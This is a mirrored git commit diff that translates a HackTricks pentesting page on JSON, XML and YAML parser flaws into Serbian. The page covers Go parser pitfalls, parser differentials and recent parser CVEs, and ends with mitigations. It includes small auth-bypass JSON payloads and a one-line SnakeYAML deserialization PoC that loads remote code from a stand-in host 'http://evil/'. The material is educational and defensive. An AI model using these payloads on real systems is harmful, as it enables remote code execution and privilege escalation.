mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/json-xml-yaml-hacking.md'] to sr
This commit is contained in:
parent
8f7729084d
commit
dd0c0769a1
@ -2,17 +2,18 @@
|
|||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Go JSON Dekoder
|
## Go JSON Decoder
|
||||||
|
|
||||||
Sledeći problemi su otkriveni u Go JSON-u, iako se mogu pojaviti i u drugim jezicima. Ovi problemi su objavljeni u [**ovom blog postu**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/).
|
Sledeći problemi su otkriveni u Go JSON-u, iako se mogu pojaviti i u drugim jezicima. Ovi problemi su objavljeni u [**ovom blog postu**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/).
|
||||||
|
|
||||||
Go-ovi JSON, XML i YAML parseri imaju dugu istoriju nedoslednosti i nesigurnih podrazumevanih postavki koje se mogu iskoristiti za **obići autentifikaciju**, **povećati privilegije** ili **ekstraktovati osetljive podatke**.
|
Go-ovi JSON, XML i YAML parseri imaju dugu istoriju nedoslednosti i nesigurnih podrazumevanih postavki koje se mogu iskoristiti za **obići autentifikaciju**, **povećati privilegije** ili **ekstraktovati osetljive podatke**.
|
||||||
|
|
||||||
### (Un)Maršalovanje Neočekivanih Podataka
|
|
||||||
|
### (Un)Marshaling Unexpected Data
|
||||||
|
|
||||||
Cilj je iskoristiti strukture koje omogućavaju napadaču da čita/piše osetljiva polja (npr., `IsAdmin`, `Password`).
|
Cilj je iskoristiti strukture koje omogućavaju napadaču da čita/piše osetljiva polja (npr., `IsAdmin`, `Password`).
|
||||||
|
|
||||||
- Primer Strukture:
|
- Primer strukture:
|
||||||
```go
|
```go
|
||||||
type User struct {
|
type User struct {
|
||||||
Username string `json:"username,omitempty"`
|
Username string `json:"username,omitempty"`
|
||||||
@ -28,7 +29,7 @@ type User struct {
|
|||||||
Username string
|
Username string
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Payload:
|
Teret:
|
||||||
```json
|
```json
|
||||||
{"Username": "admin"}
|
{"Username": "admin"}
|
||||||
```
|
```
|
||||||
@ -38,7 +39,7 @@ type User struct {
|
|||||||
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
|
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Teret:
|
Payload:
|
||||||
```json
|
```json
|
||||||
{"-": true}
|
{"-": true}
|
||||||
```
|
```
|
||||||
@ -73,7 +74,7 @@ json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
|
|||||||
```go
|
```go
|
||||||
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)
|
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)
|
||||||
```
|
```
|
||||||
**3. Neusklašenost između usluga:**
|
**3. Neusklađenost između usluga:**
|
||||||
Zamislite:
|
Zamislite:
|
||||||
- Proxy napisan u Go
|
- Proxy napisan u Go
|
||||||
- AuthZ usluga napisana u Pythonu
|
- AuthZ usluga napisana u Pythonu
|
||||||
@ -98,7 +99,7 @@ Napadač kontroliše:
|
|||||||
- `Accept: application/json` zaglavlje
|
- `Accept: application/json` zaglavlje
|
||||||
- Delimičnu kontrolu nad JSON telom
|
- Delimičnu kontrolu nad JSON telom
|
||||||
|
|
||||||
Go-ov XML parser je to **u svakom slučaju** parsirao i verovao ubačenom identitetu.
|
Go-ov XML parser je to **u svakom slučaju** parsirao i verovao injektovanoj identitetu.
|
||||||
|
|
||||||
- Kreirani payload:
|
- Kreirani payload:
|
||||||
```json
|
```json
|
||||||
@ -113,16 +114,53 @@ Rezultat:
|
|||||||
- **YAML** parser: `Action_1` (osetljivo na velika i mala slova)
|
- **YAML** parser: `Action_1` (osetljivo na velika i mala slova)
|
||||||
- **XML** parser: parsira `"Action_3"` unutar stringa
|
- **XML** parser: parsira `"Action_3"` unutar stringa
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
### 🔐 Mogućnosti ublažavanja
|
## Značajne ranjivosti parsera (2023-2025)
|
||||||
|
|
||||||
| Rizik | Rešenje |
|
> Sledeći javno eksploatabilni problemi pokazuju da je nesigurno parsiranje problem više jezika — nije samo problem Go-a.
|
||||||
|-----------------------------|---------------------------------------|
|
|
||||||
| Nepoznata polja | `decoder.DisallowUnknownFields()` |
|
|
||||||
| Duplirana polja (JSON) | ❌ Nema rešenja u stdlib |
|
|
||||||
| Poklapanje bez obzira na velika i mala slova | ❌ Nema rešenja u stdlib |
|
|
||||||
| XML smešni podaci | ❌ Nema rešenja u stdlib |
|
|
||||||
| YAML: nepoznati ključevi | `yaml.KnownFields(true)` |
|
|
||||||
|
|
||||||
|
### SnakeYAML Deserialization RCE (CVE-2022-1471)
|
||||||
|
|
||||||
|
* Pogađa: `org.yaml:snakeyaml` < **2.0** (koristi se u Spring-Boot, Jenkins, itd.).
|
||||||
|
* Osnovni uzrok: `new Constructor()` deserializuje **arbitrarne Java klase**, omogućavajući lanac gadgeta koji kulminira u izvršavanju daljinskog koda.
|
||||||
|
* Jednolinijski PoC (otvoriće kalkulator na ranjivom hostu):
|
||||||
|
```yaml
|
||||||
|
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
|
||||||
|
```
|
||||||
|
* Popravka / Ublažavanje:
|
||||||
|
1. **Ažurirajte na ≥2.0** (koristi `SafeLoader` po defaultu).
|
||||||
|
2. Na starijim verzijama, eksplicitno koristite `new Yaml(new SafeConstructor())`.
|
||||||
|
|
||||||
|
### libyaml Double-Free (CVE-2024-35325)
|
||||||
|
|
||||||
|
* Pogađa: `libyaml` ≤0.2.5 (C biblioteka koja se koristi u mnogim jezičkim vezama).
|
||||||
|
* Problem: Pozivanje `yaml_event_delete()` dva puta dovodi do double-free koji napadači mogu iskoristiti za DoS ili, u nekim scenarijima, eksploataciju heap-a.
|
||||||
|
* Status: Upstream odbijen kao “zloupotreba API-ja”, ali Linux distribucije su isporučile zakrčenu **0.2.6** koja null-frees pokazivač odbrambeno.
|
||||||
|
|
||||||
|
### RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)
|
||||||
|
|
||||||
|
* Pogađa: Tencent **RapidJSON** pre commit-a `8269bc2` (<1.1.0-patch-22).
|
||||||
|
* Greška: U `GenericReader::ParseNumber()` neproverena aritmetika omogućava napadačima da kreiraju ogromne numeričke literale koji se obavijaju i korumpiraju heap — što na kraju omogućava eskalaciju privilegija kada se rezultantna objekatna grafika koristi za odluke o autorizaciji.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 🔐 Ublažavanja (Ažurirano)
|
||||||
|
|
||||||
|
| Rizik | Popravka / Preporuka |
|
||||||
|
|-------------------------------------|------------------------------------------------------------|
|
||||||
|
| Nepoznati polja (JSON) | `decoder.DisallowUnknownFields()` |
|
||||||
|
| Duplikat polja (JSON) | ❌ Nema popravke u stdlib — validirajte sa [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) |
|
||||||
|
| Neosetljiva podudarnost (Go) | ❌ Nema popravke — validirajte oznake strukture + pre-kanonizujte ulaz |
|
||||||
|
| XML smešni podaci / XXE | Koristite ojačan parser (`encoding/xml` + `DisallowDTD`) |
|
||||||
|
| YAML nepoznati ključevi | `yaml.KnownFields(true)` |
|
||||||
|
| **Nepouzdana YAML deserializacija** | Koristite SafeConstructor / ažurirajte na SnakeYAML ≥2.0 |
|
||||||
|
| libyaml ≤0.2.5 double-free | Ažurirajte na **0.2.6** ili distribucijski zakrčenu verziju |
|
||||||
|
| RapidJSON <zakrčeni commit | Kompajlirajte protiv najnovijeg RapidJSON (≥Juli 2024) |
|
||||||
|
|
||||||
|
## Reference
|
||||||
|
|
||||||
|
- Baeldung – “Rešavanje CVE-2022-1471 sa SnakeYAML 2.0”
|
||||||
|
- Ubuntu Security Tracker – CVE-2024-35325 (libyaml)
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user